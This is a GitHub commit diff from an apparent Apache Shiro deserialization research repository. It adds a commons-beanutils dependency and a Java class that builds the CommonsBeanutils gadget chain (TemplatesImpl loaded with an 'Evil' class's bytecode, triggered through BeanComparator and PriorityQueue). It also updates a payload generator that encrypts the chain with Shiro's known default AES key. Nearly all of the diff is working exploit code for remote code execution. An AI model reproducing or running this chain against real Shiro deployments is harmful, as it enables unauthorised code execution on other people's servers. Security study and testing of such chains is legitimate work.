Skip to content

Commit 9c30c10

Browse files
committed
CommonsBeanutils
1 parent 2f9a637 commit 9c30c10

File tree

3 files changed

+69
-10
lines changed

3 files changed

+69
-10
lines changed

shiro/shiro-deser/pom.xml

Lines changed: 7 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -52,11 +52,6 @@
5252
<version>5.5.7</version>
5353
</dependency>
5454
<!-- 添加commons-collections依赖作为 payload-->
55-
<!-- <dependency>-->
56-
<!-- <groupId>commons-collections</groupId>-->
57-
<!-- <artifactId>commons-collections</artifactId>-->
58-
<!-- <version>4.0</version>-->
59-
<!-- </dependency>-->
6055
<dependency>
6156
<groupId>org.apache.commons</groupId>
6257
<artifactId>commons-collections4</artifactId>
@@ -67,6 +62,13 @@
6762
<artifactId>javassist</artifactId>
6863
<version>3.27.0-GA</version>
6964
</dependency>
65+
<!-- https://mvnrepository.com/artifact/commons-beanutils/commons-beanutils -->
66+
<dependency>
67+
<groupId>commons-beanutils</groupId>
68+
<artifactId>commons-beanutils</artifactId>
69+
<version>1.9.2</version>
70+
</dependency>
71+
7072
</dependencies>
7173

7274
<build>
Lines changed: 57 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,57 @@
1+
package summersec.shirodemo.Payload;
2+
3+
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
4+
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
5+
import javassist.ClassPool;
6+
import org.apache.commons.beanutils.BeanComparator;
7+
8+
import java.io.ByteArrayInputStream;
9+
import java.io.ByteArrayOutputStream;
10+
import java.io.ObjectInputStream;
11+
import java.io.ObjectOutputStream;
12+
import java.lang.reflect.Field;
13+
import java.math.BigInteger;
14+
import java.util.PriorityQueue;
15+
16+
/**
17+
* @ClassName: CommonsBeanutils
18+
* @Description: TODO
19+
* @Author: Summer
20+
* @Date: 2021/5/23 10:36
21+
* @Version: v1.0.0
22+
* @Description:
23+
**/
24+
public class CommonsBeanutils {
25+
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
26+
Field field = obj.getClass().getDeclaredField(fieldName);
27+
field.setAccessible(true);
28+
field.set(obj, value);
29+
}
30+
31+
public static void main(String[] args) throws Exception {
32+
TemplatesImpl obj = new TemplatesImpl();
33+
setFieldValue(obj, "_bytecodes", new byte[][]{
34+
ClassPool.getDefault().get(Evil.class.getName()).toBytecode()
35+
});
36+
setFieldValue(obj, "_name", "HelloTemplatesImpl");
37+
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
38+
39+
final BeanComparator comparator = new BeanComparator();
40+
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
41+
// stub data for replacement later
42+
queue.add(1);
43+
queue.add(1);
44+
45+
setFieldValue(comparator, "property", "outputProperties");
46+
setFieldValue(queue, "queue", new Object[]{obj, obj});
47+
48+
ByteArrayOutputStream barr = new ByteArrayOutputStream();
49+
ObjectOutputStream oos = new ObjectOutputStream(barr);
50+
oos.writeObject(queue);
51+
oos.close();
52+
53+
System.out.println(barr);
54+
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
55+
Object o = (Object)ois.readObject();
56+
}
57+
}

shiro/shiro-deser/src/main/java/summersec/shirodemo/Payload/CommonsBeanutils1Shiro.java

Lines changed: 5 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -57,11 +57,11 @@ public byte[] getPayload(byte[] clazzBytes) throws Exception {
5757
}
5858

5959
public static void main(String[] args) throws Exception {
60-
// ClassPool pool = ClassPool.getDefault();
61-
// CtClass clazz = pool.get(Evil.class.getName());
62-
byte[] bytes = Evil.class.getName().getBytes();
63-
byte[] payloads = new CommonsBeanutils1Shiro().getPayload(bytes);
64-
// byte[] payloads = new CommonsBeanutils1Shiro().getPayload(clazz.toBytecode());
60+
ClassPool pool = ClassPool.getDefault();
61+
CtClass clazz = pool.get(Evil.class.getName());
62+
// byte[] bytes = Evil.class.getName().getBytes();
63+
// byte[] payloads = new CommonsBeanutils1Shiro().getPayload(bytes);
64+
byte[] payloads = new CommonsBeanutils1Shiro().getPayload(clazz.toBytecode());
6565

6666
AesCipherService aes = new AesCipherService();
6767
byte[] key = java.util.Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");

0 commit comments

Comments
 (0)